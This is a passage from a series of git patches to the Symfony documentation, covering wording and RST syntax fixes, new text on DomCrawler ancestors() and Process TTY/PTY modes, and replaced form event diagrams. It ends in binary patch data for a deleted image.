-    to write it inside the HTML as is done here.
-
 Now, each time a user clicks the ``Add a tag`` link, a new sub form will
 appear on the page. When the form is submitted, any new tag forms will be converted
 into new ``Tag`` objects and added to the ``tags`` property of the ``Task`` object.

From d015c96640903093ae003b4a368c950d3b919cb0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 15:13:50 +0100
Subject: [PATCH 0312/5766] Rewording

As a separate PR, as recommended by https://github.com/symfony/symfony-docs/pull/13450#issuecomment-722413038

Note: `addTagForm` was the wrong function name, it's now called `addFormToCollection()`
---
 form/form_collections.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..0812c2dac93 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -304,14 +304,10 @@ button so you can add a new tag form (``addFormToCollection()`` will be show nex
         })
     });
 
-The ``addTagForm()`` function's job will be to use the ``data-prototype`` attribute
-to dynamically add a new form when this link is clicked. The ``data-prototype``
-HTML contains the tag ``text`` input element with a name of ``task[tags][__name__][name]``
-and id of ``task_tags___name___name``. The ``__name__`` is a little "placeholder",
-which you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``).
-
-The actual code needed to make this all work can vary quite a bit, but here's
-one example:
+The ``data-prototype`` HTML contains the tag's ``text`` input element with a name of
+``task[tags][__name__][name]`` and id of ``task_tags___name___name``. The ``__name__``
+part is a "placeholder", which is replaced by a unique, incrementing number
+(e.g. ``task[tags][3][name]``).
 
 .. code-block:: javascript
 

From 0bd38f6ba51e04e1a67eed30d6221206d8a37c43 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 15:17:12 +0100
Subject: [PATCH 0313/5766] Fixing function name

---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e7502432a16..cceffb6b6b1 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -572,7 +572,7 @@ First, add a "delete this tag" link to each tag form:
         // ... the rest of the block from above
     });
 
-    function addTagForm() {
+    function addFormToCollection() {
         // ...
 
         // add a delete link to the new form

From ec51ca97c3540f7c3351451f7c63baea546404a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 16:26:15 +0100
Subject: [PATCH 0314/5766] Rewords and reverts

---
 form/form_collections.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 9e74e0d2895..9be2b6fa6c2 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,8 +280,10 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-Now we need some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks an "Add a tag" link. This example uses `jQuery`_.
+The goal of this section will be to use JavaScript to read this attribute
+and dynamically add new tag forms when the user clicks the "Add a tag" link.
+This example uses `jQuery`_ and assumes you have it included somewhere on your
+page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).
 
 Add a ``script`` tag somewhere on your page so you can start writing some
 JavaScript. In this script, bind to the "click" event of the "Add a tag"

From 033f36473fb6b69e019c60e380a40631e86ab50f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 16:32:29 +0100
Subject: [PATCH 0315/5766] Minor tweak

---
 form/form_collections.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index c3a78e93ac0..b60e5efc47f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -285,7 +285,8 @@ and dynamically add new tag forms when the user clicks the "Add a tag" link.
 This example uses `jQuery`_ and assumes you have it included somewhere on your
 page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).
 
-Now add the required functionality with JavaScript:
+Add a ``<script>`` tag somewhere on your page to include the required
+functionality with JavaScript:
 
 .. code-block:: javascript
 

From e66095e48fa5abe980fecfdbe989990d68e76c4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 16:50:04 +0100
Subject: [PATCH 0316/5766] Tweak

---
 form/form_collections.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 44a1a294348..9ed02bc515c 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -304,10 +304,11 @@ functionality with JavaScript:
         })
     });
 
-The ``data-prototype`` HTML contains the tag's ``text`` input element with a name of
-``task[tags][__name__][name]`` and id of ``task_tags___name___name``. The ``__name__``
-part is a "placeholder", which is replaced by a unique, incrementing number
-(e.g. ``task[tags][3][name]``).
+The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
+attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
+HTML contains the tag's ``text`` input element with a name of ``task[tags][__name__][name]``
+and id of ``task_tags___name___name``. The ``__name__`` is a placeholder, which
+you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``):
 
 .. code-block:: javascript
 

From 46322c9ac045b6a5dc7d9d44137a935cc749e86b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 30 Dec 2020 17:03:04 +0100
Subject: [PATCH 0317/5766] Minor rewording

Follow up of https://github.com/symfony/symfony-docs/pull/14760
"The goal of this section will be" is horrible IMHO ;-)
---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 9ed02bc515c..8ca19623a53 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,7 +280,7 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-The goal of this section will be to use JavaScript to read this attribute
+Now add some JavaScript to read this attribute
 and dynamically add new tag forms when the user clicks the "Add a tag" link.
 This example uses `jQuery`_ and assumes you have it included somewhere on your
 page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).

From c34ef27a2be83517765769f34be4a72c8c92ffaf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:12:17 +0100
Subject: [PATCH 0318/5766] Minor tweak

---
 form/form_collections.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 8ca19623a53..89f079c944d 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,10 +280,10 @@ On the rendered page, the result will look something like this:
     the ``data-prototype`` attribute is automatically added to the containing ``div``,
     and you need to adjust the following JavaScript accordingly.
 
-Now add some JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks the "Add a tag" link.
-This example uses `jQuery`_ and assumes you have it included somewhere on your
-page (e.g. using Symfony's :doc:`Webpack Encore </frontend>`).
+Now add some JavaScript to read this attribute and dynamically add new tag forms
+when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
+assumes you have it included somewhere on your page (e.g. using Symfony's
+:doc:`Webpack Encore </frontend>`).
 
 Add a ``<script>`` tag somewhere on your page to include the required
 functionality with JavaScript:

From 20695d48b693257a6d5fb765210426f4d1144af2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:39:09 +0100
Subject: [PATCH 0319/5766] Fixed a RST syntax issue

---
 profiler/data_collector.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 276d1e88324..6e53fd5203d 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -96,7 +96,7 @@ template that includes some specific blocks.
 
 First, add the ``getTemplate()`` method in your data collector class to return
 the path of the Twig template to use. Then, add some *getters* to give the
-template access to the collected information::::
+template access to the collected information::
 
     // src/DataCollector/RequestCollector.php
     namespace App\DataCollector;

From bff0f52a22e35b1893836ce0c4ab3e9f2bac3510 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:44:32 +0100
Subject: [PATCH 0320/5766] Fixed RST syntax issue

---
 deployment/proxies.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 15725b67007..95112ca616c 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -26,7 +26,7 @@ and what headers your reverse proxy uses to send information:
 
 .. configuration-block::
 
-    .. config-block:: yaml
+    .. code-block:: yaml
 
         # config/packages/framework.yaml
         framework:
@@ -41,7 +41,7 @@ and what headers your reverse proxy uses to send information:
             trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
             trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK, '!x-forwarded-host', '!x-forwarded-prefix']
 
-    .. config-block:: xml
+    .. code-block:: xml
 
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
@@ -69,7 +69,7 @@ and what headers your reverse proxy uses to send information:
             </framework:config>
         </container>
 
-    .. config-block:: php
+    .. code-block:: php
 
         // config/packages/framework.php
         use Symfony\Component\HttpFoundation\Request;

From 156ac65df5e08fa6786dd4365da2a37bbb0008ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Dec 2020 17:50:50 +0100
Subject: [PATCH 0321/5766] Fixed more RST syntax issues

---
 deployment/proxies.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 95112ca616c..f0e9eca9db2 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -120,9 +120,9 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
    other than your load balancers. For AWS, this can be done with `security groups`_.
 
 #. Once you've guaranteed that traffic will only come from your trusted reverse
-   proxies, configure Symfony to *always* trust incoming request::
+   proxies, configure Symfony to *always* trust incoming request:
 
-    .. config-block:: yaml
+    .. code-block:: yaml
 
         # config/packages/framework.yaml
         framework:
@@ -148,7 +148,7 @@ other information.
         # .env
         TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR
 
-    .. config-block:: yaml
+    .. code-block:: yaml
 
         # config/packages/framework.yaml
         framework:

From ce3bbd6a657835d8fd6e7a020bd675c78b8eb289 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Pipa?= <michal@michalpipa.pl>
Date: Fri, 1 Jan 2021 20:40:33 +0100
Subject: [PATCH 0322/5766] Fix PostgreSqlStore code sample formatting

---
 components/lock.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 97de11d0701..3f96ef89586 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -465,7 +465,8 @@ PostgreSqlStore
 
 The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
 `PDO`_ connection, a `Doctrine DBAL Connection`_, or a
-`Data Source Name (DSN)`_. It supports native blocking, as well as sharing locks.
+`Data Source Name (DSN)`_. It supports native blocking, as well as sharing
+locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 

From 978492d04668f7f58ab1e34a98aa900d9bbb9ea5 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 30 Dec 2020 17:30:59 -0500
Subject: [PATCH 0323/5766] language tweak

"At last" means after a delay, lastly is just the last thing on the list.
---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 1ff482f5216..7b9053b835f 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -223,7 +223,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 Magic ``__call()`` Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At last, ``getValue()`` can use the magic ``__call()`` method, but you need to
+Lastly, ``getValue()`` can use the magic ``__call()`` method, but you need to
 enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder`::
 
     // ...

From b28603e9d9c8fd4ca1179c5b1b450980545e7fea Mon Sep 17 00:00:00 2001
From: Youssef BENHSSAIEN <youssefbenhssaien@gmail.com>
Date: Sat, 19 Dec 2020 11:02:14 +0100
Subject: [PATCH 0324/5766] [Console] Caution about disabling auto exit flag

---
 console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/console.rst b/console.rst
index 9611ce94bfd..e980cea046a 100644
--- a/console.rst
+++ b/console.rst
@@ -393,6 +393,16 @@ console::
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
+.. caution::
+
+    When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
+    class, don't forget to disable the auto exit flag::
+
+        $application = new Application();
+        $application->setAutoExit(false);
+        
+        $tester = new ApplicationTester($application);
+
 .. note::
 
     When using the Console component in a standalone project, use

From 2931e978d17d6e5cc9738df7d06629cb3a76e82d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sun, 3 Jan 2021 10:33:54 +0100
Subject: [PATCH 0325/5766] document the ancestors() method

---
 components/dom_crawler.rst | 8 ++++++--
 testing.rst                | 8 ++++----
 2 files changed, 10 insertions(+), 6 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 55b5d8bc23f..7f2b28ad582 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -187,10 +187,14 @@ Get the same level nodes after or before the current selection::
     $crawler->filter('body > p')->nextAll();
     $crawler->filter('body > p')->previousAll();
 
-Get all the child or parent nodes::
+Get all the child or ancestor nodes::
 
     $crawler->filter('body')->children();
-    $crawler->filter('body > p')->parents();
+    $crawler->filter('body > p')->ancestors();
+
+.. versionadded:: 5.3
+
+    The ``ancestors()`` method was introduced in Symfony 5.3.
 
 Get all the direct child nodes matching a CSS selector::
 
diff --git a/testing.rst b/testing.rst
index 2c0535eddfa..261786ff108 100644
--- a/testing.rst
+++ b/testing.rst
@@ -713,7 +713,7 @@ selects the last one on the page, and then selects its immediate parent element:
 
     $newCrawler = $crawler->filter('input[type=submit]')
         ->last()
-        ->parents()
+        ->ancestors()
         ->first()
     ;
 
@@ -735,8 +735,8 @@ Many other methods are also available:
     All following siblings.
 ``previousAll()``
     All preceding siblings.
-``parents()``
-    Returns the parent nodes.
+``ancestors()``
+    Returns the ancestor nodes.
 ``children()``
     Returns children nodes.
 ``reduce($lambda)``
@@ -766,7 +766,7 @@ Extracting Information
 The Crawler can extract information from the nodes::
 
     use Symfony\Component\DomCrawler\Crawler;
-    
+
     // returns the attribute value for the first node
     $crawler->attr('class');
 

From 1b5e8dc6610f5856b31ebf798801ca4cab6ca1ce Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 2 Jan 2021 19:01:18 +0100
Subject: [PATCH 0326/5766] Documented setTty and setPty

---
 components/process.rst | 30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

diff --git a/components/process.rst b/components/process.rst
index b7845145ca3..0a53b021c91 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -352,6 +352,35 @@ The input of a process can also be defined using `PHP streams`_::
     // will echo: 'foobar'
     echo $process->getOutput();
 
+Using TTY and PTY Modes
+-----------------------
+
+All examples above show that your program has control over the input of a
+process (using ``setInput()``) and the output from that process (using
+``getOutput()``). The Process component has two special modes that tweak
+the relationship between your program and the process: teletype (tty) and
+pseudo-teletype (pty).
+
+In TTY mode, you connect the input and output of the process to the input
+and output of your program. This allows for instance to open an editor like
+Vim or Nano as a process. You enable TTY mode by calling
+:method:`Symfony\\Component\\Process\\Process::setTty`::
+
+    $process = new Process(['vim']);
+    $process->setTty(true);
+    $process->run();
+
+    // As the output is connected to the terminal, it is no longer possible
+    // to read or modify the output from the process!
+    dump($process->getOutput()); // null
+
+In PTY mode, your program behaves as a terminal for the process instead of
+a plain input and output. Some programs behave differently when
+interacting with a real terminal instead of another program. For instance,
+some programs prompt for a password when talking with a terminal. Use
+:method:`Symfony\\Component\\Process\\Process::setPty` to enable this
+mode.
+
 Stopping a Process
 ------------------
 
@@ -483,7 +512,6 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     However, it is possible to pass a callback to the ``start``, ``run`` or ``mustRun``
     methods to handle process output in a streaming fashion.
 
-
 Finding an Executable
 ---------------------
 

From 06411817eb0410139435710afc31d1ac916a70b8 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 3 Jan 2021 16:14:51 +0100
Subject: [PATCH 0327/5766] Update Form event diagrams to consistent styling

---
 _images/components/form/general_flow.png     | Bin 10427 -> 0 bytes
 _images/components/form/set_data_flow.png    | Bin 8588 -> 0 bytes
 _images/components/form/submission_flow.png  | Bin 10285 -> 0 bytes
 _images/form/form_prepopulation_workflow.svg |  56 +++++++++++++
 _images/form/form_submission_workflow.svg    |  78 +++++++++++++++++++
 _images/form/form_workflow.svg               |  68 ++++++++++++++++
 _images/sources/form/form_events.dia         | Bin 0 -> 3179 bytes
 form/events.rst                              |  16 ++--
 8 files changed, 210 insertions(+), 8 deletions(-)
 delete mode 100644 _images/components/form/general_flow.png
 delete mode 100644 _images/components/form/set_data_flow.png
 delete mode 100644 _images/components/form/submission_flow.png
 create mode 100644 _images/form/form_prepopulation_workflow.svg
 create mode 100644 _images/form/form_submission_workflow.svg
 create mode 100644 _images/form/form_workflow.svg
 create mode 100644 _images/sources/form/form_events.dia

diff --git a/_images/components/form/general_flow.png b/_images/components/form/general_flow.png
deleted file mode 100644
index 31650e52af6f87244424b62856ebdcb5078c7454..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 10427
zcmeHtRZv`Aw=J#-F2S{t#uA+11OnZ7(|8gz!QFyGfB?Z88Yj3k7CZ!pAi)V8Akb)V
zOK^fTefa+W)~S0R?x{L&=i%(yHEZovW7gVx&Z;%{SaZbc>8L*>VI;xA!g>hOP=#P&
z;efEPuuF(=?`No-m4~pfaIy5XplTQlW^Zq=xw$z!JlxdOR8>{==H{lfv{Xn)=pNbM
z-%m$J=j!UJqM~w$IYeTRO_-)EOjZ%52!%nRG3WuzKnJGd1aoqYxgNue`Skn1&R{mB
zHWH>1A=4oysU}e?QQMep?Qm@-VWuif6`v|!`c1lXvoqNvG8I>q_`UeJxHx5HWi~dp
zu&}V$t=K)x-WFzynw|RW?CjB_M=L8U!otGS)6*v>7!(RKFo3D5!enJ(nwl_UW0<uy
z%*6%f`Wn;Gfk7fMXf&p%2;<|^9~HG?V^hk<r>dgjDj{JSAHSELezU!eAtQTaVv?$@
z9q#Ph%)}%NgPnzhOz-Vs1O)}RwlG{=vZ<-5TU%R4M@NT;m{+fSWn^TGjg5(jh{VLi
z=;`UtG3S~gngpZ-ZJ4$~OyLdY#?jG{ii+y;@^W`~7Y7GNL`3B4*RR#p)#>T!)YR+@
z3=H=%{NL+;as*a>;x1xg0enHK%Fwq9hj}+%Ovb+3lZU)**c6d!AFyibOJnnk{!*!a
zhbI8QMh?#N!_UPoY{BqKXo$wltS#^GE#PL<$mLMiyt#Q3G5&Vssu$**E|dxli5V*d
zC~ybLO_+V)rV1hs!eXEL)P5;R1cUKWVPV%{=O*z{p>Y^5LvC`tbXNkIu#_qA{#!S~
zO(P*+fsl`Ip9&5Ik{Ii=mH}|9sNqnOryi{4boPw<_u~#_$U*sREJ1c@@Uv<|4umc#
zaRrW~5kC+i&0&hF@zn$0yw@uRH?&x|@tc%B;-#f_R%{>FeSGjd2da7+8m)<2Lj^>*
zKiiWF%z0J^(FeWu7_Q)kLV8s=OWoA;K=|e?P%0oXJQAz|D1`0lf*5D_LfEY+)0C(Y
zFJ9<=;{+nW2h#|bn(6!%m1=NEJL6%aaWuHnTf52RQS1yTw`megMf7U1qC|A+jnUuz
z*ou-${@CAkx%v*N+i^CzP<j58U~!O|&(VzJuh2Z2pW_`ygu_2JSYEV!H6^93jXk)i
z!p$nkVg2@(?GnmV3x1VG8W75x2(DxuBy&U@nUr$bs_%E%QR{9n(n1m>X{N*NeCFs<
zZ)nKa0*;FPiFDYkmj(GKV<#eNvpE&Vla*#kCOlH`$8ex?K>2l&WT2eZ?l-a1NhcA}
zhnmr1ScKc!aYR$sF?uPxzgDYNs3&QGB@5byGxjHaVJ?Ij8uKGS#Or9f>+H~)^N`F#
zcIHIfEP2>_t*7{31|pF7V1%zWq-KHpaRUlkX=25Jy|k8|i3$H0i52MKN2`R5!kIOa
z?WapnQsS>u^R=YZ0~uyOU~(S6aX>~U8bY$WR$COrYTNU1^h*OXK_=&%v}%ntk3SiX
zMw~}3$e%auIwMT?GHKcJo4lqC^!~JQ(Z&!YW0!fcnEk0&^YS;9y2Z~bVRJMAH7{00
znzDPQCI49i0JV%b3g><uw8~snpeZr!x%Me`WI|0{M3rc35(sJZ0o%g<GWX0g!e=!n
zXbn$QvB~9G+gjyRw+VEWX21uT&$CUOudVRCRrs{kjU&X`JG$kf!Hz@#wFcTdtk*5+
zRmxcXT=aP_kSZzwT349p4yzt$vj^dgvZI6lps*yAf<pXz$XqK*_OeU#cs4+#MKC!P
zeugl614?}p=6eV;f1MSrvkzv+EDb%vS7>Dakbu<T^KjVxA|#~I&nCxFL4y8&^^xQ*
zHEA&|B}@5pq(^=di#fK%hp|BZer_SUx26h1fH}v{(&`~ZpNOA}GJJ<t1<yUIVBHE*
z$$?@C;kQi1!aw?9ZK-`XF%_9_&Eu(aYI;S;Lkx%NwO96#*&}_0#V02g{JE%e;mGzu
zrRK%nhj3^-2-p<0JmH)%@I&lU#Z!K4_WUbpdy;-d-2BcH9bgYPZ6$XlWwQS^o<TW<
zz1cAmcZFqoSf1$5PxG~&%X2-jed>rEtS2LzHtUW3O}vQD>N2qNb8FCFWr_uMeGCur
z4ey~&Q;ZJQcLpN<(_3BECB^R1C(TR$to`_B@54@WmlsZ+!9>LHrYcb1KOt-gV_DP#
zy~dVpErgBW`no>@%)AE`{S&EblJ0J5bpXfak;`ZpSY>2&;SCo22m7}!k`_$P{@#Vm
zve0}~IwX5nzmFsxABmKO2QiC4lL~4t*^!<}YY>30Jlx!=DLP`N&abhwhL?>x;OLhM
zn6oS|#^n{dXsaep<triGY;qtHhskHQJP!{_74Uibo9{yK)tuDv@#l(?=|ZNH-HdT2
zldOso2m>weOh;Kjy>N;=-V$%qqa+Qyaj!hF$G>Wyq*j8eCuoHEpi~X?wlx+=s5U;7
zY7i7y6upv0@s#hC!HxF#=RCELB<}sUzdI@=SL7B-Joyp01xV%8Fz|xFAWKgPcfjZJ
zw-L#}G4Oz*ZN*k+&d|t+0r=^&_{!jPu)-$?fPZauN7{E;A-k$etCp+V2yj>Ti}~+(
z%K`%A{JXjW3b1t#Cqd>f#*N?;OH+T|UkWeJ4eALUCECudP5qyP>@EubRQuOTMr{l?
zoW#SvDR7@uK57c6tM*2ln%{;~jf@C@18gjSGYAl-<)tb9;Najp?Ew9h#jV_q@wFjC
zu@@?){%W9`v;_M~HGqqSQMr!6Roklt*$}IP&gzmuqiG15kADDo+JP-JMlKZn`d5sH
z{jgr|(A{(9UnK@t18>0TKV5&@o(Ppqwor3WoO$<8=*eKGaMx=Bs|Y@WnnKc=x`uBB
zxgy*pQomG3$S@a7Y(CCxafxRh6Um;_qEl*5t;19B;)5&U*C4JM)(sSsl)$A8W?)l^
zHrT{W0_--V8+d$H5L)PeRP!3+uNWwwGZyw;&R#??e|&@fb3loo(RR$&F;k%ML+Mi|
zrM_oi&w0MmYR2GKVYW*_sg(I?ARerV!Co9jvvtG3bXj?8kD>nc{l#BK(QxACV9A}X
zF`$kH0g_Mvs|zwhVwYJ#Zyh%}ia5WJH%W(sYIR{>mKQQk;=ZJt)DB#hX34b+<3+G|
z0W)MocAsk{@bOc{w3V)g4qhl}s0+FDbQl0P?Vj5cv6Jvepgm=Ax9I!@1VuN}_l{7z
zY2<x!1dwP5|G=NoBc5!dA+Q;X<lB*FA<v~}<f{4j3be~5R-IhhN5C6F=5Zbz&ECEC
z4ot9<IK-(AX=l%69C^?JqjwKv!ouyz&*!}p+yn{^E&{vHIz0(5qw=H#F7NuSCFj)V
zH|adIh~mN@#61zCDCEf(yLr{FNE{N?U51^4M*f_^53rmYZps7u5LK+QEFO-4100qB
z_ygi%;BhBwZ{natEiplFFr_1NoSR@J&J$&=M)~|3YQ61%G1|4d`aR8vOjG=Iz+QD{
znow7@;~P;vkE1jud~xKcyA|#8<?wHt*kKYO{MC5MX0cC=CkP|6Hoiqo>L%oVugyK?
zr9CQV?0-;tD&jfGJf=%Wzw$GC@x_aUpU9UVy}b09baz1+ZwVx*Jtp%Ww(<vq0=8ea
zeth(;XXL8z@r(7tcyE$)<nUPg1fz(^_7aW##*)ax@8M_$Ah%OcJZ#nk7w%Yo_`J4t
zSX^JDrmRO-;wbf00W(NXM4ojVDM4cuSSK)^I3$v(Nj$okVKB}cJ02`7id=N4w}Ll$
z2ef9Pzi?{6-ll_%ITM|;H&lX(J5}CJxJuYHm<FZIcVqKj$&g$Ge$#x~iM0L-B;FvE
zvrt?W6r0xEuIY^z5pZ4PvVKD8HWpAsEY-s5oN@Rn9ylOpAul10cI;EcDL4Jf1x7N)
zl1?ZU`4cUpeg^o~Fzn2$_K=o4whsW)v_XkM>f-?&0gn7bc~8Fz3_lSL&HC`nQ7@|W
zv`(g2g2N(6SzZ*%v%NgxC;F!4ne@Ez-uD?0YF0ym-#tb>?z+%YH1&eT@yTCCA>zFx
zFXH0uA|Bg@Aq&&7R*|($ODgd^G;cc~4VbE%&7tDY<;oaLlYi<nK?5<;oxa_yDiI_{
zRK*2BtkHgZ$8(xVrP{xkx*_|hi<+C1{pD9|0yaDN!L~3WK>tw+cS%G~k%kdZis67I
zCamGz_Zii%0iT2Gq5?hKLZ2ATer86Ge5n~3Xm6!e)J3%<{9PzYX4ZcmPicNt#LxHx
zPZ2nLvy%ULSpj&N^Cl^KI?cp+zsbzO{J;>xaY^7_gmZnc2W<lr<yWP&z!^IRL7Ttr
zwV<mtyjZRo?j{N@n!wDK^Hy!oKnItSnA>pJvhp07km)7>@qA$xB{{5k^2+Qo^tvU@
z=?=D*0CmG738G0E3;j0ZxApORN9~U=?KOHfBPB}JunDSZ=!^y`0L6npF|jj;@2=oK
zQdSbT7uI=3EeqK+_=DEQ2UcnBd<!ugp}8=;N1A~MKiRYAOZCV+<6tIgD=b_7G0PZ5
zH@|{&H``K{+us*LZ+uT&#|z8&#G|vX_7kvvR-SxGIyMIc2X!QUlqz}RlhbbZq**T?
z84Bq<)S_Wq#nY+Rbl6<-GfrR3aQ|S+(}zhN)Q5R-kX;lI$HM*VpoXjj_Fcl|Cav}l
zpBhOYAs!mPJb%O`T$?9~a52DbiQoIRg*JT%Zx592G#NXL^cH33OZv3v{`|~t%5Qh4
z^&?7{sIM$%q&xdSSPK+9-CyD%Zr)dL*@{AmuugVs)f;QxVj$~$!?raKuErjV?^-=F
zGdEEnT@4%pJvF}7tZTumaucfFxW*~77M4kp;sfAD=)PGxaN1PtG&gwBKUB6Vy_7b|
zR@TA?`pYMI&T=+Y{=6BM&<-W2zagclkp|=p9Xug7PA`XhC(I~WZ!-7zASY4vqTLL?
z@YH7y9~2fIez<Ucmoy*nj$J&1>lYlyk*#V@lQ*ll?FVXnL15bcsm!eWgls}S&CS}h
z(^5u(uC4Ef;Q^k(DkZmA`q-kKhLO=W5qHrk@&Lc2{vRBp&NB~B_g^X+cNTm5nihXd
zbm;t;_27n!m_npt-+}VT!Y~)PpA(eWyo@N3**Jkt)Q*`_N3rVqK>)tn>-7_|8&c~w
z`!5%E1giZtESTu|ZnrLey3rJM;AuHBE=DT$vBjJgzV6UftaH92yO7rEf7LCsOuGKz
zG<-zIbg>gHnDNNI7<Munb%mABfS;XCv+NR&)}Y@q=vvGa^h&<G^c#x1cBVfu+3zOq
zd&U%3wb_~@0P+jqC0aa?c8t?{3LP<z4aN49lTA6yIw)q>&m0NLjO712N{0Jfq>E>X
z%K8Wu$F}gPPX3RrNrjhJ{Iq_I&pex1^=-T5T#mz_Drins?DJQq5QT=N;1&(9FThb`
zC-@y0_^j)eETommG&s0bmJd@e|996(VRy)PXKMQsL3f}+n*T8=D+}Nuy;S9eGF@7r
zNbLn=JZNCJL9Oe#Y(ubaeNg~BGjhzF+$D6h^)ZsR{GDaQ!JrZj2RTs;sk?i2O<mv{
zeA)`McJ2&jLtH<~p-h?Sj)iPlk(HjC!Z|!^^qcnD-=ejickZE|g*{q2olITIsT>(8
zx34v?>dm+gQ8dSPBJ@E>+wF#vCT*%(RrcWD@^4RHFs84Jy)mAAhbA*Q1=F1&y|=Vs
zW^}rW4AjTiM<=EX4U#D_WAyX7Ca}?IJZay0sj{#s6iTzjjM!ZK8oIE)k;lG!I3o3h
zXlhRF3imGCu)_M8+p=fk<rypyOt+Gqc4pB<Hm4Xm@~GLhgwJjQukWE{YTDdvLo%of
